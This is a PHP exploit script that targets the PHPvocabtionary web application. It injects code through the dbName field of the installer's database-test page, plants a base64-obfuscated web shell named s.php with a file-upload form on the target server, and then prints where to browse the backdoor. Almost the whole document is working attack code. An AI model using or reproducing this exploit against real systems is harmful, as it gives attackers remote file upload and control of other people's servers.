#!/usr/bin/php
<?
# Exploit Title : PHPvocabtionary Php code injection
# Date : 5/4/2013
# Author: Slotleet
# Slotleet () GMAIL com
# https://fb.com/Slot.leet
# Vendor Homepage:
http://sourceforge.net/projects/phpvocabtionary/files/latest/download
# Version affected : all
# Tested on: WIN 7 Xd4rk EDITION
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# PHPvocabtionary Multiple Vulnerabilities
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
error_reporting(0);
if ($argc < 3){
echo "+---------------------------------------+\n";
echo "+ Usage : $argv[0] localhost /vio +\n";
echo "+---------------------------------------+\n";
die();
}
$site = $argv[1];
$dir = $argv[2];
$b4ckd00r = '";$fp = fopen("s.php","w"); fwrite($fp,"<?php
eval(base64_decode(\'ZWNobyAnPGI+PGJyPjxicj4nLnBocF91bmFtZSgpLic8YnI+PC9iPic7DQplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOw0KZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7DQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+VXBsb2FkIFNVS1NFUyAhISE8L2I+PGJyPjxicj4nOyB9DQoJZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBHQUdBTCAhISE8L2I+PGJyPjxicj4nOyB9DQp9DQplY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPk1MPSJSam5pcy9lIC5ySTx0aHpQUy1vbVRDZz46PXAiO01JPSI7QEUwOj9EN0AwRUk9PDxKSDU1PkIyNkE8OEI5RjUzQ0Y0NT44MTRHOzVARTA6P0RHIjtPVD0iIjtmb3Ioaj0wO2o8TUkubGVuZ3RoO2orKyl7T1QrPU1MLmNoYXJBdChNSS5jaGFyQ29kZUF0KGopLTQ4KTt9ZG9jdW1lbnQud3JpdGUoT1QpOzwvc2NyaXB0Pic7\'));");"';
$sl0t=array("dbName"=>"sl0t$b4ckd00r",
"dbUser"=>"sl0t",
"dbHost"=>"sl0t",
"dbPass"=>"sl0t",
"dbPrefix"=>"myvcb_"
);
$ch = curl_init("http://$site$dir/install/dbtes.php");
curl_setopt ($ch, CURLOPT_POST, true);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $sl0t);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
if ($result){
echo "+---------------------------------------+\n";
echo "+ Check http://$site$dir/search.php +\n";
echo "+---------------------------------------+\n";
echo "maybe exploited :D \n\n";
echo "now go to http://$site$dir/install/s.php to browse you're backdoor \n";
}
?>
